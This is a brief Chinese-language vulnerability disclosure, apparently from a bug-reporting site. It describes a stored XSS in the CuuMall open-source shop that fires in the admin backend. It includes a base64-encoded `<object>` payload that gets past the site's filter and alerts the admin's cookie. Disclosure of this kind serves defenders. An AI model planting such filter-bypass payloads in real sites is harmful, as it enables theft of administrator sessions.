### 简要描述:
CuuMall免费开源商城系统 XSS盲打后台,这里的xss 是管理员必看的地方,所以很直接,就贴出来,虽然过滤的 但是还能绕过去!!
### 详细说明:
我们调到前台咨询建议:
`<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpIDwvc2NyaXB0Pg==>`
[<img src="https://images.seebug.org/upload/201409/30135839308c8700fb56991474fa18edbc2af805.png" alt="13.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/30135839308c8700fb56991474fa18edbc2af805.png)
下来我们去后台查看:
[<img src="https://images.seebug.org/upload/201409/301359405b5f7a24a9e7cb24208e6fdead890d61.png" alt="17.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/301359405b5f7a24a9e7cb24208e6fdead890d61.png)
### 漏洞证明:
暂无评论